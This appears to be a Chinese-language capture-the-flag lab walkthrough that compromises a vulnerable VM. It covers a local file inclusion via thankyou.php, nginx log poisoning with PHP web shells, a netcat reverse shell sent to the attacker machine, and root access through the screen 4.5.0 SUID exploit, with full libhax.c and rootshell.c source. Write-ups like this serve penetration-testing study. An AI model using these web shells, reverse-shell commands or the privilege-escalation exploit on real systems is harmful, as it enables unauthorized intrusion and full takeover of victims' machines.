1.kali探测存活主机
root@kali:~# nmap -T4 -A 192.168.43.1/24

目标IP地址为192.168.43.182,访问之

拿着nikto,dirsearch一顿乱扫,啥也没发现
2.日常没思路,气氛逐渐焦灼
burpsuite爬了一下站点,分析了一下

发现就一个动态带参数的,emmmm
继续拿起burpsuite就是一顿乱扫

nginx的洞都奇奇怪怪的,看了下,一个是拒绝服务,一个是http走私.....
3.突破点
还是没啥思路,重新发包的时候,似乎瞄到burpsuite中底部日期变了一下,233
compare看一下

确实重发一次,变一次...迷惑
搜了一波,发现是文件包含.....
我就纳闷了,这尼玛还能猜出来
https://blog.csdn.net/weixin_45116657/article/details/102677446
GET /thankyou.php?file=/etc/passwd HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

4.nginx日志文件包含
既然存在文件包含漏洞
试着读了下日志文件,nginx默认日志文件为/var/log/nginx/access.log

应该是存在的,随便输个phpinfo,会记录到日志中,一旦有文件包含漏洞,且包含文件为日志【当然你最好祈祷日志是默认路径】时,就会把日志当作php解析
GET /<?php phpinfo();?> HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

404,然后包含一下看看
包含成功,burpsuite会显示消息太长,到浏览器打开

写一段恶意代码进去
<?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>
emmmm,有点离谱的是。。。显示phpinfo之后,再包含一句话,就不显示了,为啥?
渗透失败
5.恢复快照N次后
wdnmd....终于连接上来了
<?php eval($_POST[cmd]);?>

报错产生日志,然后包含日志

蚁剑终端好像没法回显,于是反弹一下shell
服务端
nc 192.168.43.164 8008 -c /bin/bash
客户端
nc -lvvp 8008

6.提权
find / -perm -u=s -type f 2>/dev/null

这里看到一个/bin/screen-4.5.0
搜了下是2017年爆出的一个提权漏洞
http://www.expku.com/local/6245.html
kali里面也搜了下
root@kali:~# searchsploit screen 4.5.0

看内容,应该要编译才能用

1.libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!
");
}
保存为libhax.c
然后编译
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c

2.rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
保存为rootshell.c
root@kali:~# gcc -o rootshell rootshell.c

然后删除41154.sh中间那几段C代码

打包上传到目标机器
然而........WDNMD
禁止通过wget下载....这就离谱

7.ftp上传提权脚本
这句话是得到一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"

攻击机器配置vsftp
apt install vsftpd
其他配置看图

客户端登陆攻击机(vsftp服务端),下载提权脚本....这里略过,emmmmmmmm
这里有个问题是会报错

问题出在那个家目录的位置,因为我是直接root目录下创建所以没找到,导致报错

然后通过get命令下载到服务器就好了....
这里我发现一个问题,当进入标准shell的时候是可以使用wget命令的
所以kali起一个http服务
root@kali:~# python -m SimpleHTTPServer 8000

直接wget下载到服务器上

如下图

执行的时候报错了...

发现最后一行少写了个/,还有前面编译那个libhax.c文件,这里也写错了,emmmm. 后缀要改成.so才对
添上去,重新执行代码

提权成功!!!
8.Getflag
或许这是我比较菜的原因吧,害。。。

9.小结
1.前面日志包含shell,不知道什么奇怪的问题,第一次写入shell后,第二次就无法写了,导致一直重置服务器。。。。
2.反弹shell的时候,不知道切换成标准shell,导致走了一个大圈。。。。
3.编译提权代码的时候,没仔细阅读代码,也不够仔细,导致后面出了一系列问题,害...
